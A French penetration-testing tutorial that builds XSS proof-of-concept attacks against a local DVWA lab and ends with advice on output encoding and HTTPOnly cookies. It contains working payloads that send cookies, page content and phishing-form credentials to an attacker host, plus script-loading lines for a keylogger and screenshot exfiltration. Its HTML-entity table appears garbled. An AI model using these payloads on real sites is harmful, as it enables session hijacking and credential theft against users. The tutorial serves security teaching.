Explorons quelques scénarios d’attaque pratiques qui peuvent être implémentés en tant que PoC pour prouver le risque réel de vulnérabilités de type Cross-Site Scripting (XSS).
En tant que testeur d’intrusion, vous voulez que vos clients comprennent le risque des vulnérabilités que vous trouvez. Et la meilleure façon d’y parvenir est de créer une preuve de concept (POC) à fort impact dans laquelle vous montrez comment les attaquants peuvent exploiter les vulnérabilités et affecter l’entreprise.
Dans cet article, nous verrons comment créer des PoC d’ attaque XSS afin de :
- Pirater la session d’un utilisateur
- Effectuer des activités non autorisées
- Effectuer des attaques de phishing
- Capturer les frappes
- Voler des informations sensibles
Arrière-plan
Cross-Site Scripting (XSS) est une vulnérabilité dans les applications Web et également le nom d’une attaque côté client dans laquelle l’attaquant injecte et exécute un script malveillant dans une page Web légitime. Les navigateurs sont capables d’afficher du HTML et d’exécuter du JavaScript. Si l’application n’échappe pas les caractères spéciaux dans l’entrée/la sortie et renvoie l’entrée de l’utilisateur telle quelle dans le navigateur, un adversaire peut être en mesure de lancer avec succès une attaque de type Cross-Site Scripting (XSS).
Vous pouvez trouver plus d’informations sur cette vulnérabilité dans la page Cross-Site Scripting de l’OWASP .
À des fins de démonstration, nous utiliserons l’ application DVWA bien connue , que nous avons installée localement.
La page DVWA http://localhost:81/DVWA/vulnerabilities/xss_r/
est affectée par un XSS reflété dans le paramètre de nom . Cela peut être vu dans la figure ci-dessous lorsque nous injectons le code JavaScript <script>alert(123)</script> et qu’il est reflété et exécuté dans la page de réponse.
Attaque XSS 1 : piratage de la session de l’utilisateur
La plupart des applications Web maintiennent des sessions utilisateur afin d’identifier l’utilisateur à travers plusieurs requêtes HTTP . Les sessions sont identifiées par des cookies de session.
Par exemple, après une connexion réussie à une application, le serveur vous enverra un cookie de session par l’ en- Set-Cookie
tête. Désormais, si vous souhaitez accéder à n’importe quelle page de l’application ou soumettre un formulaire, le cookie (qui est désormais stocké dans le navigateur) sera également inclus dans toutes les requêtes envoyées au serveur. De cette façon, le serveur saura qui vous êtes.
Ainsi, les cookies de session sont des informations sensibles qui, si elles sont compromises, peuvent permettre à un attaquant de se faire passer pour l’utilisateur légitime et d’accéder à sa session Web existante. Cette attaque est appelée détournement de session .
Le code JavaScript exécuté dans le navigateur peut accéder aux cookies de session (lorsqu’ils n’ont pas le drapeau HTTPOnly ) en appelant document.cookie
. Ainsi, si nous injectons la charge utile suivante dans notre paramètre de nom , la page vulnérable affichera la valeur actuelle du cookie dans une boîte d’alerte :
http://localhost:81/DVWA/vulnerabilities/xss_r/?name=<script>alert(document.cookie)</script>
Maintenant, pour voler les cookies , nous devons fournir une charge utile qui enverra la valeur du cookie au site Web contrôlé par l’attaquant.
La charge utile suivante crée un nouvel objet Image dans le DOM de la page actuelle et définit l’ attribut src sur le site Web de l’attaquant. En conséquence, le navigateur fera une requête HTTP à ce site Web externe (192.168.149.128) et l’URL contiendra le cookie de session.
<script>new Image().src="http://192.168.149.128/bogus.php?output="+document.cookie;</script>
Voici donc l’ URL d’attaque qui enverra les cookies à notre serveur :
http://localhost:81/DVWA/vulnerabilities/xss_r/?name=<script>new Image().src="http://192.168.149.128/bogus.php?output="+document.cookie;</script>
Lorsque le navigateur reçoit cette demande, il exécute la charge utile JavaScript, qui envoie une nouvelle demande à 192.168.149.128, ainsi que la valeur du cookie dans l’URL, comme indiqué ci-dessous.
Si nous écoutons une connexion entrante sur le serveur contrôlé par l’attaquant (192.168.149.128), nous pouvons voir une demande entrante avec des valeurs de cookie ( security et PHPSESSID ) ajoutées à l’URL. Les mêmes informations se trouvent dans le fichier access.log sur le serveur.
Utilisation du cookie volé
Avec les informations de cookie ci-dessus, si nous accédons à une page interne de l’application et ajoutons la valeur du cookie à la demande, nous pouvons accéder à la page au nom de la victime, dans sa propre session (sans connaître le nom d’utilisateur et le mot de passe). Fondamentalement, nous avons piraté la session de l’utilisateur.
L’ attribut de cookie HTTPOnly peut aider à atténuer ce scénario en empêchant l’accès à la valeur du cookie via JavaScript. Il peut être défini lors de l’initialisation de la valeur du cookie (via l’ Set-Cookie
en-tête).
XSS Attack 2 : effectuer des activités non autorisées
Si l’ attribut de cookie HTTPOnly est défini, nous ne pouvons pas voler les cookies via JavaScript. Cependant, en utilisant l’attaque XSS, nous pouvons toujours effectuer des actions non autorisées à l’intérieur de l’application au nom de l’utilisateur.
Par exemple, dans ce scénario d’attaque, nous publierons un nouveau message dans le livre d’or au nom de l’utilisateur victime, sans son consentement. Pour cela, nous devons forger une requête HTTP POST à la page du livre d’or avec les paramètres appropriés avec JavaScript.
La charge utile suivante le fera en créant un objet XMLHTTPRequest et en définissant l’en-tête et les données nécessaires :
<script>
var xhr = new XMLHttpRequest();
xhr.open('POST','http://localhost:81/DVWA/vulnerabilities/xss_s/',true);
xhr.setRequestHeader('Content-type','application/x-www-form-urlencoded');
xhr.send('txtName=xss&mtxMessage=xss&btnSign=Sign+Guestbook');
</script>
Voici à quoi ressemble la requête dans le navigateur et également interceptée dans Burp.
Le script à l’exécution générera une nouvelle requête pour ajouter un commentaire au nom de l’utilisateur.
Attaque XSS 3 : Phishing pour voler les informations d’identification des utilisateurs
XSS peut également être utilisé pour injecter un formulaire dans la page vulnérable et utiliser ce formulaire pour collecter les informations d’identification de l’utilisateur. Ce type d’attaque est appelé hameçonnage .
La charge utile ci-dessous injectera un formulaire avec le message Veuillez vous connecter pour continuer , ainsi que les champs de saisie du nom d’ utilisateur et du mot de passe.
En accédant au lien ci-dessous, la victime peut saisir ses identifiants dans le formulaire injecté. Notez que nous pouvons modifier la charge utile pour la faire ressembler à un formulaire légitime selon nos besoins.
http://localhost:81/DVWA/vulnerabilities/xss_r/?name=<h3>Please login to proceed</h3> <form action=http://192.168.149.128>Username:<br><input type="username" name="username"></br>Password:<br><input type="password" name="password"></br><br><input type="submit" value="Logon"></br>
Une fois que l’utilisateur a saisi ses informations d’identification et cliqué sur le bouton de connexion , la demande est envoyée au serveur contrôlé par l’attaquant. La demande peut être vue dans les captures d’écran ci-dessous :
Les informations d’identification saisies par l’utilisateur (pentest : pentest) sont visibles sur le serveur de réception.
XSS Attack 4 : Capturez les frappes en injectant un keylogger
Dans ce scénario d’attaque, nous injecterons un enregistreur de frappe JavaScript dans la page Web vulnérable et nous capturerons toutes les frappes de l’utilisateur dans la page en cours.
Tout d’abord, nous allons créer un fichier JavaScript séparé et nous l’hébergerons sur le serveur contrôlé par l’attaquant. Nous avons besoin de ce fichier car la charge utile est trop volumineuse pour être insérée dans l’URL et nous évitons les erreurs d’encodage et d’échappement. Le fichier JavaScript contient le code suivant :
À chaque pression de touche, une nouvelle requête XMLHttp est générée et envoyée vers la page keylog.php hébergée sur le serveur contrôlé par l’attaquant. Le code de keylog.php écrit la valeur des touches enfoncées dans un fichier appelé data.txt .
Nous devons maintenant appeler la page vulnérable avec la charge utile de notre serveur :
http://localhost:81/DVWA/vulnerabilities/xss_r/?name=<script src="http://192.168.149.128/xss.js">
Une fois le script chargé sur la page, une nouvelle requête est déclenchée à chaque frappe de n’importe quelle touche.
La valeur de la clé de paramètre est écrite dans le fichier data.txt , comme indiqué dans la capture d’écran ci-dessous.
Attaque XSS 5 : voler des informations sensibles
Une autre activité malveillante qui peut être effectuée avec une attaque XSS consiste à voler des informations sensibles de la session en cours de l’utilisateur. Imaginez qu’une application bancaire en ligne soit vulnérable à XSS , l’attaquant pourrait lire le solde actuel, les informations de transaction, les données personnelles, etc.
Pour ce scénario, nous devons créer un fichier JavaScript sur le serveur contrôlé par l’attaquant. Le fichier contient une logique qui prend une capture d’écran de la page sur laquelle le script s’exécute :
Ensuite, nous devons créer un fichier PHP sur le serveur de l’attaquant, qui enregistre le contenu du paramètre png dans le fichier test.png .
Nous injectons maintenant le code JavaScript dans la page vulnérable en incitant l’utilisateur à accéder à l’URL suivante :
http://localhost:81/DVWA/vulnerabilities/xss_r/?name=<script src="http://192.168.149.128/screenshot.js">
Une fois le fichier JavaScript chargé, le script envoie les données au format base64 au fichier saveshot.php qui écrit les données dans le fichier test.png . En ouvrant le fichier test.png , on peut voir la capture d’écran de la page vulnérable.
Autrement
Une autre façon de voler le contenu de la page serait d’obtenir le code source HTML en utilisant getElementById . Voici une charge utile qui récupère le innerHTML de l’ élément guestbook_comments et l’envoie à l’attaquant.
<script>new Image().src="http://192.168.149.128/bogus.php?output="+document.getElementById('guestbook_comments').innerHTML;</script>
Nous pouvons également récupérer l’intégralité de la source de la page en utilisant la charge utile suivante :
<script>new Image().src="http://192.168.149.128/bogus.php?output="+document.body.innerHTML</script>
Le décodage des données reçues dans le décodeur Burp nous donne la source de la page en texte clair de la page vulnérable. Ici, nous pouvons voir les commentaires du livre d’or.
Conclusion
Selon la fonctionnalité et les données traitées par l’application vulnérable, les vulnérabilités XSS peuvent présenter un risque important pour l’entreprise. Les attaquants pourraient voler des informations confidentielles, effectuer des activités non autorisées et prendre le contrôle de l’intégralité des sessions Web des utilisateurs victimes.
La meilleure protection contre ce type d’attaque est le nettoyage de la sortie, ce qui signifie que toutes les données reçues du côté client doivent être nettoyées avant d’être renvoyées à la page de réponse. Le nettoyage est effectué en transformant les caractères HTML spéciaux en leurs équivalents d’entité HTML, tels que :
< ---> <
> ---> >
" ---> "
' ---> '
Il est recommandé d’utiliser les fonctions intégrées de chaque langage de programmation conçues pour effectuer la désinfection. Par exemple, en PHP, vous devez utiliser htmlentities .
Vous trouverez plus d’informations sur la défense contre XSS dans la feuille de triche de prévention XSS de l’OWASP .